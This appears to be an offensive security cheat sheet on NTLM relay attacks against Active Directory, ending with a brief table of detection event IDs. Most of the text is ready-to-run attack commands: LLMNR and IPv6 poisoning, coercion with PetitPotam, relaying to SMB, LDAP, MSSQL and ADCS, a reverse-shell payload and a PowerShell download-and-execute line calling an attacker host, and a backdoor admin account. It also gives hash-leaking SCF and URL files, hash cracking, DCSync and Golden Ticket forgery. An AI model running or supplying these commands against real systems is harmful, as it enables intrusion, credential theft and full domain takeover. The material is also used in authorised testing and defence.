ᛉ Yggdrasil

Active Directory

NTLM Relay Attacks

15 Sep 2026 · 3,458 words · 16 min

Contents

Pre-conditions for Relay to Work

Condition Why it matters
SMB Signing disabled on target Without signing, relayed SMB traffic is accepted
LDAP Signing/Channel Binding disabled Required for HTTP→LDAP cross-protocol relay
EPA (Extended Protection for Auth) disabled Required for HTTP→LDAP relay
Cannot relay back to the same machine Microsoft patch (MS08-068) blocks self-relay for SMB
User must have permissions on the target Relay is as powerful as the victim's privileges

Check SMB Signing Status Across Network

# CrackMapExec — find all hosts with SMB signing disabled
crackmapexec smb <SUBNET>/24 --gen-relay-list targets.txt

# Nmap
nmap --script smb2-security-mode -p 445 <SUBNET>/24

# NetExec (CME successor)
nxc smb <SUBNET>/24 --gen-relay-list unsigned_targets.txt

Check LDAP Signing Status

# CrackMapExec LDAP check
crackmapexec ldap <DC_IP> -u '' -p '' -M ldap-checker

# LdapRelayScan
python3 LdapRelayScan.py -method BOTH -dc-ip <DC_IP> -u attacker -p 'Pass123!'

3. NTLM Relay over SMB Attacks

What it means: The classic relay scenario. A victim authenticates over SMB (e.g., via LLMNR/NBT-NS poisoning or coercion), and you relay that authentication to another SMB server where the victim has local admin rights. This gives you direct code execution on that machine.

3.1 Setup — Turn off SMB/HTTP in Responder

# Edit Responder config — disable SMB and HTTP servers
# (ntlmrelayx will run its own SMB server)
nano /etc/responder/Responder.conf
# Set: SMB = Off
#      HTTP = Off

3.2 Start Responder for Poisoning

# Poison LLMNR/NBT-NS/MDNS on the network
sudo responder -I eth0 -dwv

# Flags:
# -I   Network interface
# -d   Enable DHCP poisoning
# -w   Start WPAD server
# -v   Verbose output

3.3 Start ntlmrelayx Targeting SMB

# Relay to a single target — execute whoami
ntlmrelayx.py -t smb://<TARGET_IP> -smb2support -c "whoami"

# Relay to multiple targets from file
ntlmrelayx.py -tf targets.txt -smb2support

# Relay and dump SAM hashes (default if -c not specified)
ntlmrelayx.py -tf targets.txt -smb2support --dump-hashes

# Relay and get an interactive SMB shell
ntlmrelayx.py -t smb://<TARGET_IP> -smb2support -i
# Then connect to the shell:
nc 127.0.0.1 11000

3.4 Relay and Execute Payload

# Drop a reverse shell via relay
ntlmrelayx.py -t smb://<TARGET_IP> -smb2support \
  -c "powershell -enc <BASE64_PAYLOAD>"

# Or use msfvenom payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 \
  -f exe > shell.exe

# Host the payload
python3 -m http.server 8080

# Relay + download & exec
ntlmrelayx.py -t smb://<TARGET_IP> -smb2support \
  -c "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8080/shell.ps1')"

# Catch the shell
nc -lvnp 4444

3.5 Verify Relay Worked

# After relay, check what you can reach
crackmapexec smb <TARGET_IP> -u attacker -p 'Pass123!' --shares
crackmapexec smb <TARGET_IP> -u attacker -p 'Pass123!' -x "whoami /priv"

# If you got hashes from SAM dump, try PTH
crackmapexec smb <TARGET_IP> -u Administrator -H <NTLM_HASH>

4. NTLMRelayx Use Cases

What it means: ntlmrelayx.py is the Swiss Army knife of NTLM relay. Beyond basic SMB relay, it supports relaying to LDAP, MSSQL, SMTP, HTTP, RPC, and more. Each protocol enables a different post-relay action.

4.1 Useful ntlmrelayx Flags Reference

Flag Purpose
-t <target> Single relay target (e.g., smb://ip, ldap://ip)
-tf <file> Target list file
-smb2support Enable SMBv2 relay support
-i Drop to interactive shell (SMB or LDAP)
-c "<cmd>" Execute OS command on relay target
--dump-hashes Dump SAM/NTDS after relay
--no-http-server Disable built-in HTTP server
--no-smb-server Disable built-in SMB server
-6 Listen on IPv6 as well
-wh <host> Serve WPAD from a fake hostname
--delegate-access Set up RBCD on relay target
--shadow-credentials Perform shadow credentials attack
--adcs Request ADCS certificate on relay
--template <name> ADCS certificate template to request
--escalate-user <user> Target user for RBCD/shadow creds

4.2 Relay to MSSQL — Execute OS Commands

# Relay NTLM to MSSQL and run xp_cmdshell
ntlmrelayx.py -t mssql://<MSSQL_IP> -smb2support -q "EXEC xp_cmdshell 'whoami'"

# Enable xp_cmdshell if disabled, then execute
ntlmrelayx.py -t mssql://<MSSQL_IP> -smb2support \
  -q "EXEC sp_configure 'show advanced options',1; RECONFIGURE; \
      EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; \
      EXEC xp_cmdshell 'net user hacker Pass123! /add && net localgroup administrators hacker /add'"

4.3 Relay to LDAP — Interactive Shell

# Get interactive LDAP shell (no smb server needed if HTTP trigger)
ntlmrelayx.py -t ldap://<DC_IP> -smb2support -i

# Connect to the interactive shell
nc 127.0.0.1 11000

# Inside interactive LDAP shell:
# > get_laps_password <ComputerName>
# > dump         (dump all domain objects)
# > add_user     (create a user)

4.4 Relay to RPC / WMI

# Relay to RPC for WMI execution
ntlmrelayx.py -t rpc://<TARGET_IP> -smb2support -c "cmd /c whoami"

5. NTLM Cross-Protocol Relay Attacks

What it means: Instead of relaying SMB→SMB, you capture authentication over one protocol (e.g., HTTP or SMB) and relay to a different protocol (e.g., LDAP). This bypasses the MS08-068 same-machine restriction and opens up LDAP attacks like creating users, granting DCSync rights, and RBCD — all from a captured hash.

Key Rule: You can relay HTTP → LDAP, SMB → LDAP, but NOT SMB → SMB on the same machine. LDAP signing/channel binding must be OFF for HTTP→LDAP to work.

5.1 HTTP → LDAP Relay (via WPAD / mitm6)

# Terminal 1: Start mitm6 for IPv6 DNS spoofing (serves WPAD)
sudo mitm6 -d lab.local

# Terminal 2: Start ntlmrelayx relaying to LDAP
ntlmrelayx.py -6 -t ldap://<DC_IP> -wh fake-wpad.lab.local \
  -l /tmp/loot --no-smb-server

# -6         = Listen on IPv6
# -wh        = WPAD hostname to poison
# -l /tmp    = Dump all domain objects to folder

5.2 HTTP → LDAP Relay — Create a New Domain Admin

ntlmrelayx.py -t ldap://<DC_IP> --no-smb-server \
  --escalate-user attacker --add-user eviluser --add-user-to-group "Domain Admins"

5.3 HTTP → LDAP Relay — Grant DCSync Rights

# Relay to LDAPS and grant DCSync rights to your user
ntlmrelayx.py -t ldaps://<DC_IP> --no-smb-server \
  --escalate-user attacker

# After relay — run DCSync
secretsdump.py lab.local/attacker:Pass123!@<DC_IP> -just-dc

5.4 SMB → LDAP Relay (Requires EPA disabled)

# Responder for capture, relay to LDAP
# Make sure SMB=Off in Responder.conf first
sudo responder -I eth0 -dwv

ntlmrelayx.py -t ldap://<DC_IP> -smb2support --no-http-server \
  -l /tmp/loot

5.5 Relay to HTTP (ADCS Web Enrollment)

# Relay SMB/HTTP auth to ADCS certsrv endpoint
ntlmrelayx.py -t http://<CA_IP>/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# Output: Base64 certificate for the relayed account
# Save it and use with certipy or PKINIT to get TGT

6. Farming Hashes

What it means: Before you can relay or crack, you need to capture hashes. "Farming" means getting victims to authenticate to your machine — passively (waiting for broadcast protocols) or actively (injecting poisoned entries). The captured hashes are Net-NTLMv2 — not directly usable for PTH, but crackable offline or relayable.

6.1 Passive Capture — Responder (LLMNR/NBT-NS/MDNS Poisoning)

# Full Responder capture — all protocols on
sudo responder -I eth0 -A        # Analyze mode (no poison, just watch)
sudo responder -I eth0 -dwv      # Active poisoning mode

# Flags:
# -I  Interface
# -d  Enable DHCP poisoning
# -w  WPAD server
# -v  Verbose (show all requests)
# -A  Passive/analyze mode only (stealthy)
# -P  Force NTLM auth (use with -r)

# Captured hashes saved to:
cat /usr/share/responder/logs/SMB-NTLMv2-*.txt

6.2 Active Capture — mitm6 (IPv6 DNS Poisoning)

# Poison IPv6 DNS, force WPAD → capture HTTP NTLM auth
sudo mitm6 -d lab.local -i eth0

# Combined with Responder to capture more protocols
sudo mitm6 -d lab.local &
sudo responder -I eth0 -dwv

6.3 Active Capture — WPAD Abuse

# ntlmrelayx serves WPAD and captures NTLM from machines that try to auto-detect proxy
ntlmrelayx.py -6 -t smb://<TARGET_IP> -wh fake-wpad -smb2support

# Or standalone WPAD with Responder:
sudo responder -I eth0 -wv

6.4 Capture via Malicious Links (SCF / LNK / URL Files)

# Create a malicious SCF file that forces SMB auth when folder is browsed
cat > @evil.scf << EOF
[Shell]
Command=2
IconFile=\\<ATTACKER_IP>\share\icon.ico
[Taskbar]
Command=ToggleDesktop
EOF

# Put the SCF in a shared folder — when any user opens it, their hash is captured by Responder

# Create a malicious .url file (same effect)
cat > evil.url << EOF
[InternetShortcut]
URL=file://<ATTACKER_IP>/share/
EOF

# Or .lnk via netexec
nxc smb <TARGET_IP> -u attacker -p 'Pass123!' -M slinky \
  -o SERVER=<ATTACKER_IP> NAME=important

6.5 Crack Captured Net-NTLMv2 Hashes

# Hashcat — Net-NTLMv2
hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-Client.txt \
  /usr/share/wordlists/rockyou.txt

# With rules
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# Net-NTLMv1 (easier to crack)
hashcat -m 5500 hashes.txt /usr/share/wordlists/rockyou.txt

# John the Ripper alternative
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

7. Authentication Coercion

What it means: Instead of waiting for organic authentication, you force a machine (usually a DC or server) to authenticate back to you. This gives you the machine's NTLM credentials which you can relay in real time. Machine accounts ($) have high privileges — relaying a DC's auth to LDAP or ADCS is devastating.

7.1 PrinterBug / SpoolSample (MS-RPRN)

# Requires: Print Spooler service running on target
# Effect: Forces target to authenticate to your IP via SMB

# Check if spooler is running
crackmapexec smb <TARGET_IP> -u attacker -p 'Pass123!' -M spooler

# Linux — dementor.py
python3 dementor.py -d lab.local -u attacker -p 'Pass123!' \
  <ATTACKER_IP> <TARGET_IP>

# Windows — SpoolSample
SpoolSample.exe <TARGET_IP> <ATTACKER_IP>

# Impacket
rpcdump.py @<TARGET_IP> | grep -i "spoolss\|IRemoteWinspool"

7.2 PetitPotam (MS-EFSRPC)

# Coerce DC to authenticate to your listener via MS-EFSRPC
# Works even WITHOUT credentials on unpatched DCs

# Unauthenticated (older unpatched systems)
python3 PetitPotam.py <ATTACKER_IP> <TARGET_DC_IP>

# Authenticated
python3 PetitPotam.py -u attacker -p 'Pass123!' -d lab.local \
  <ATTACKER_IP> <TARGET_DC_IP>

# Specify pipe
python3 PetitPotam.py -pipe lsarpc <ATTACKER_IP> <TARGET_DC_IP>
# Available pipes: lsarpc, efsr, samr, netlogon, lsass

7.3 Coercer (Multi-Protocol Coercion)

# Scans for ALL available coercion methods on a target
pip install coercer

# Scan what's available
python3 Coercer.py scan -t <TARGET_IP> -u attacker -p 'Pass123!' -d lab.local

# Coerce auth to your listener
python3 Coercer.py coerce -l <ATTACKER_IP> -t <TARGET_IP> \
  -u attacker -p 'Pass123!' -d lab.local

# Specify protocol
python3 Coercer.py coerce -l <ATTACKER_IP> -t <TARGET_IP> \
  -u attacker -p 'Pass123!' -d lab.local --filter-protocol MS-EFSRPC

7.4 DFSCoerce (MS-DFSNM)

# DFSCoerce — coerce via Distributed File System Namespace
python3 DFSCoerce.py -u attacker -p 'Pass123!' -d lab.local \
  <ATTACKER_IP> <TARGET_IP>

7.5 Complete Coerce + Relay Chain

# Terminal 1 — Set up relay BEFORE triggering coercion
ntlmrelayx.py -t ldaps://<DC_IP> --no-smb-server \
  --escalate-user attacker

# Terminal 2 — Coerce the DC to authenticate to you
python3 PetitPotam.py <ATTACKER_IP> <DC_IP>

# Watch ntlmrelayx grant DCSync rights to attacker
# Then:
secretsdump.py lab.local/attacker:Pass123!@<DC_IP> -just-dc

8. Advanced NTLM Relay — Targeting Kerberos

What it means: Instead of simply dumping hashes or running commands, you relay captured NTLM to LDAP and perform Kerberos-based privilege escalation — either RBCD (Resource-Based Constrained Delegation) or Shadow Credentials. Both techniques give you the ability to impersonate any user (including Administrator) on the target machine via Kerberos, completely bypassing NTLM going forward.

8.1 RBCD via NTLM Relay [SIGN-OFF]

What it does: Relay machine account auth to LDAP → write msDS-AllowedToActOnBehalfOfOtherIdentity on a target → impersonate Administrator via S4U2Proxy.

# Step 1: Check MAQ (MachineAccountQuota) — need to be able to create a machine account
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' -M maq

# Step 2: Create a fake machine account
addcomputer.py -computer-name 'EVIL$' -computer-pass 'Evil123!' \
  -dc-ip <DC_IP> 'lab.local/attacker:Pass123!'

# Step 3: Start relay targeting LDAPS with RBCD delegation
ntlmrelayx.py -t ldaps://<DC_IP> \
  --delegate-access \
  --escalate-user 'EVIL$' \
  --no-smb-server \
  --no-dump

# Step 4: Trigger coercion to make the TARGET machine authenticate to you
# (Target machine must have WebClient running for HTTP coercion)
python3 PetitPotam.py <ATTACKER_IP> <TARGET_SERVER_IP>
# or SpoolSample.exe <TARGET_SERVER_IP> <ATTACKER_IP>

# Step 5: After relay sets RBCD, request impersonation ticket
getST.py -spn 'cifs/<TARGET_SERVER>.lab.local' \
  -impersonate Administrator \
  -dc-ip <DC_IP> 'lab.local/EVIL$:Evil123!'

# Step 6: Use the ticket
export KRB5CCNAME=Administrator@cifs_<TARGET_SERVER>.ccache
secretsdump.py -k -no-pass <TARGET_SERVER>.lab.local
psexec.py -k -no-pass <TARGET_SERVER>.lab.local

8.2 Shadow Credentials via NTLM Relay [SIGN-OFF]

What it does: Relay machine account auth to LDAP → write msDS-KeyCredentialLink attribute → authenticate as the target machine using a certificate (no password needed).

# Step 1: Start relay with shadow credentials attack
ntlmrelayx.py -t ldaps://<DC_IP> \
  --shadow-credentials \
  --shadow-target '<TARGET_COMPUTER>$' \
  --no-smb-server \
  --no-dump

# Step 2: Trigger authentication from the target machine
python3 PetitPotam.py -u attacker -p 'Pass123!' -d lab.local \
  <ATTACKER_IP> <TARGET_COMPUTER_IP>

# ntlmrelayx output will show:
# [*] Saved PFX (#PKCS12) certificate and target key to: <TARGET_COMPUTER>$.pfx

# Step 3: Authenticate with the certificate and get NTLM
certipy auth -pfx '<TARGET_COMPUTER>$.pfx' -dc-ip <DC_IP>
# Output: NT hash for <TARGET_COMPUTER>$

# Step 4: Use the machine account hash for S4U (RBCD/impersonation)
getST.py -spn 'cifs/<TARGET_COMPUTER>.lab.local' \
  -impersonate Administrator \
  -dc-ip <DC_IP> \
  -hashes :<MACHINE_NTLM_HASH> 'lab.local/<TARGET_COMPUTER>$'

export KRB5CCNAME=Administrator@cifs_<TARGET_COMPUTER>.ccache
secretsdump.py -k -no-pass <TARGET_COMPUTER>.lab.local

8.3 WebClient (WebDAV) Abuse for HTTP Coercion

What it means: If the WebClient service is running on a machine, it can be coerced to authenticate via HTTP instead of SMB. HTTP auth can be relayed to LDAP even when SMB signing is enabled — bypassing the usual SMB signing restriction.

# Check if WebClient is running on target
crackmapexec smb <TARGET_IP> -u attacker -p 'Pass123!' -M webdav

# Enable WebClient remotely (if you have local admin)
nxc smb <TARGET_IP> -u attacker -p 'Pass123!' -M webdav -o ACTION=start

# Coerce via WebDAV (HTTP coercion)
# Requires adding a DNS entry first
python3 dnstool.py -u 'lab.local\attacker' -p 'Pass123!' \
  -r 'attacker-host' -a add -t A -d <ATTACKER_IP> <DC_IP>

# Force target to authenticate to attacker-host via HTTP
python3 PetitPotam.py <ATTACKER_IP>@80/abc <TARGET_IP>

# Now the auth comes in as HTTP → can relay to LDAP even with SMB signing ON
ntlmrelayx.py -t ldaps://<DC_IP> --shadow-credentials \
  --shadow-target '<TARGET_COMPUTER>$' --no-smb-server

9. Advanced NTLM Relay — Targeting AD CS (ESC8)

What it means: AD Certificate Services (ADCS) exposes an HTTP web enrollment endpoint (/certsrv). This endpoint accepts NTLM authentication and does NOT enforce EPA (Extended Protection for Authentication) by default. An attacker can coerce a Domain Controller to authenticate and relay that to ADCS to obtain a certificate for the DC machine account. That certificate can then be used with PKINIT to get a TGT, then DCSync the entire domain.

CVE: No specific CVE — it's a misconfiguration. Called ESC8 in SpecterOps ADCS research. Impact: Full domain compromise from any network position with a valid domain user.

ESC8 Full Attack Chain

Attacker │ ├── ntlmrelayx listening → /certsrv │ ├── PetitPotam → DC authenticates to attacker (NTLM) │ ├── ntlmrelayx relays DC's NTLM to /certsrv → gets DC certificate │ ├── certipy auth → DC TGT via PKINIT │ └── secretsdump DCSync → krbtgt hash → Golden Ticket

9.1 Step 1 — Check if ADCS Web Enrollment is Running

# Check for certsrv endpoint
curl -I http://<CA_IP>/certsrv/
# 401 Unauthorized = endpoint exists and wants NTLM auth = vulnerable

# Certipy — find ADCS servers and vulnerable templates
certipy find -u attacker@lab.local -p 'Pass123!' -dc-ip <DC_IP> -vulnerable -stdout

# Look for ESC8: Web Enrollment enabled + no EPA

9.2 Step 2 — Start ntlmrelayx Targeting ADCS

# Method A — Impacket ntlmrelayx
ntlmrelayx.py \
  -t http://<CA_IP>/certsrv/certfnsh.asp \
  -smb2support \
  --adcs \
  --template DomainController
  # Template options: DomainController, KerberosAuthentication, Machine

# Method B — Certipy relay (all-in-one)
certipy relay -target http://<CA_IP>/certsrv/ \
  -template DomainController \
  -dc-ip <DC_IP>

9.3 Step 3 — Coerce the DC to Authenticate

# PetitPotam — no creds needed on unpatched DCs
python3 PetitPotam.py <ATTACKER_IP> <DC_IP>

# Authenticated
python3 PetitPotam.py -u attacker -p 'Pass123!' -d lab.local \
  <ATTACKER_IP> <DC_IP>

# PrinterBug alternative
python3 dementor.py -d lab.local -u attacker -p 'Pass123!' \
  <ATTACKER_IP> <DC_IP>

ntlmrelayx output will show: [*] Getting certificate for DC01$ via ADCS [*] Base64 certificate for DC01$: MIIRTAIBAzCC...

9.4 Step 4 — Use the Certificate to Get a TGT

# Save the base64 cert to a file
echo "<BASE64_CERT>" | base64 -d > dc01.pfx

# Use certipy to authenticate with the certificate (PKINIT)
certipy auth -pfx dc01.pfx -dc-ip <DC_IP>
# Output:
# [*] Got TGT for DC01$
# [*] NT hash: <DC_MACHINE_NTLM_HASH>

# OR with gettgtpkinit.py (PKINITtools)
python3 gettgtpkinit.py -cert-pfx dc01.pfx lab.local/'DC01$' dc01.ccache

9.5 Step 5 — DCSync to Get krbtgt and All Hashes

# Method A — Use the NT hash directly
secretsdump.py -hashes :<DC_MACHINE_NTLM_HASH> 'lab.local/DC01$'@<DC_IP> -just-dc

# Method B — Use the TGT (Kerberos)
export KRB5CCNAME=dc01.ccache
secretsdump.py -k -no-pass lab.local/'DC01$'@<DC_IP> -just-dc

# Output: all NTDS.dit hashes including krbtgt

9.6 Step 6 — Golden Ticket (Domain Persistence)

# Forge a Golden Ticket using krbtgt hash
ticketer.py \
  -nthash <KRBTGT_NTLM_HASH> \
  -domain-sid <DOMAIN_SID> \
  -domain lab.local \
  FakeAdmin

export KRB5CCNAME=FakeAdmin.ccache
psexec.py -k -no-pass lab.local/FakeAdmin@<DC_IP>

9.7 Alternative — Shadow Credentials on DC via ADCS Relay

# Instead of certificate request, relay to LDAP and add shadow cred on DC
ntlmrelayx.py -t ldaps://<DC_IP> \
  --shadow-credentials \
  --shadow-target 'DC01$' \
  --no-smb-server

# Trigger PetitPotam, wait for shadow key to be written
# Then authenticate with the pfx
certipy auth -pfx 'DC01$.pfx' -dc-ip <DC_IP>
# Get DC machine hash → DCSync

10. Scenario Matrix

Scenario Capture Method Relay Target Attack Key Tool
LLMNR poison → SMB shell Responder SMB (unsigned) Code exec + SAM dump ntlmrelayx
LLMNR poison → LDAP Responder LDAP (no signing) DCSync rights ntlmrelayx
IPv6 DNS spoof → LDAP mitm6 LDAP/LDAPS DCSync rights, create DA ntlmrelayx
Coerce DC → RBCD PetitPotam LDAPS Impersonate DA on target ntlmrelayx + getST
Coerce DC → Shadow Creds PetitPotam LDAPS Machine cert → PTH ntlmrelayx + certipy
WebClient coerce → LDAP WebDAV HTTP LDAPS Bypass SMB signing ntlmrelayx
ESC8 — Coerce DC → ADCS PetitPotam HTTP /certsrv DC cert → TGT → DCSync certipy relay
Hash capture → crack Responder (offline crack) Password recovery hashcat
Coerce DC → SMB exec SpoolSample SMB (unsigned) Lateral movement ntlmrelayx

11. Tool Cheat Sheet

Tool Install Role in NTLM Relay
responder apt install responder LLMNR/NBT-NS/MDNS poisoning, hash farming
ntlmrelayx.py Impacket Core relay engine — all protocols
mitm6 pip install mitm6 IPv6 DNS spoofing + WPAD abuse
PetitPotam.py GitHub (ly4k) MS-EFSRPC auth coercion
Coercer pip install coercer Multi-method coercion scanner
dementor.py GitHub PrinterBug / SpoolSample (Linux)
SpoolSample.exe GitHub PrinterBug (Windows)
DFSCoerce.py GitHub MS-DFSNM coercion
certipy pip install certipy-ad ADCS relay, shadow creds, cert auth
getST.py Impacket S4U2Proxy after RBCD setup
secretsdump.py Impacket DCSync after relay
addcomputer.py Impacket Create machine account for RBCD
LdapRelayScan.py GitHub Check LDAP signing status
crackmapexec / nxc pip install crackmapexec Recon, SMB signing check, relay-list
hashcat apt install hashcat Crack Net-NTLMv2 (mode 5600)
ticketer.py Impacket Golden Ticket after krbtgt dump

🔵 Detection — Event ID Reference

Attack Event ID Where Logged
LLMNR/NBT-NS poisoning No Event ID — use network detection (Zeek) Network
NTLM relay to SMB 4624 (Logon Type 3), 4625 Target host
NTLM relay to LDAP 4662 (LDAP object access) DC
DCSync via relay 4662 (DS-Replication-Get-Changes) DC
PetitPotam / coercion 4648 (explicit cred logon from machine) Source DC
ADCS cert enrollment (ESC8) 4886, 4887 (cert issued) CA server
Shadow Credentials written 5136 (msDS-KeyCredentialLink modified) DC
RBCD written 5136 (msDS-AllowedToActOnBehalfOf) DC
Golden Ticket use 4769 (anomalous TGS without TGT) DC

← Active Directory top ↑